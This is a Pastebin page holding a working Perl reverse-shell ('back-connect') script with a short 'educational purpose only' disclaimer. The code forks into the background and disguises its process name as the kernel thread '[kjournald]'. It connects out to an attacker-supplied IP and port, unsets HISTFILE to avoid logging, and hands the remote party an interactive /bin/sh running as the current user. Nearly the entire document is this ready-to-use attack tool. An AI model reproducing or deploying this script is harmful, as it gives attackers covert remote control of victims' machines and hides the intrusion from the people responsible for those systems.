hackerscommunity

Interactive Back-Connect perl script

Feb 29th, 2016
782
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 1.77 KB | None | 0 0
  1. #!/usr/bin/perl
  2. #
  3. #  Interactive Back-Connect perl script
  4. #
  5. #  Description:
  6. #  This script will make an outbound TCP connection
  7. #  to  a  IP   and   port.  The   recipient   will
  8. #  be given  a  shell  running  as the current user
  9. #
  10. #  Copyright 2016 (c) Todor Donev
  11. #  http://www.ethical-hacker.org/
  12. #  https://www.facebook.com/ethicalhackerorg
  13. #  http://pastebin.com/u/hackerscommunity
  14. #
  15. #  Disclaimer:
  16. #  This  or  previous program  is  for Educational
  17. #  purpose ONLY. Do not use it without permission.
  18. #  The  usual  disclaimer  applies, especially the
  19. #  fact  that  Todor Donev  is  not liable for any
  20. #  damages caused by direct or indirect use of the
  21. #  information or functionality  provided by these
  22. #  programs.  The author or any  Internet provider
  23. #  bears  NO  responsibility for content or misuse
  24. #  of these programs or  any  derivatives thereof.
  25. #  By  using  these  programs  you accept the fact
  26. #  that any damage (dataloss, system crash, system
  27. #  compromise,  etc.)  caused  by the use of these
  28. #  programs is not  Todor Donev's  responsibility.
  29. #
  30. #  Use  at  your  own risk and educational purpose
  31. #  ONLY!
  32. #
  33. use IO::Socket;
  34. use Socket;
  35. my $host = $ARGV[0];
  36. my $port = $ARGV[1] || 13333;
  37. my $proc = "[kjournald]";
  38. exit if ($port<1024||$port>65535);
  39. exit if(!defined $host || !defined $port);
  40. $0 = "$proc"."\x0"x16;
  41. my $pid=fork;
  42. exit if $pid;
  43. exit unless defined($pid);
  44. socket(SOCKET, PF_INET,SOCK_STREAM,getprotobyname('tcp')) or exit;
  45. connect(SOCKET, sockaddr_in("$port",inet_aton("$host"))) or exit;
  46. system SOCKET->autoflush();
  47. open(STDIN, ">&SOCKET");
  48. open(STDOUT,">&SOCKET");
  49. open(STDERR,">&SOCKET");
  50. system("unset HISTFILE;uname -a;id;w;echo");
  51. system("echo 'Kill perl process id: $$'");
  52. system("/bin/sh -i");
Advertisement
Add Comment
Please, Sign In to add comment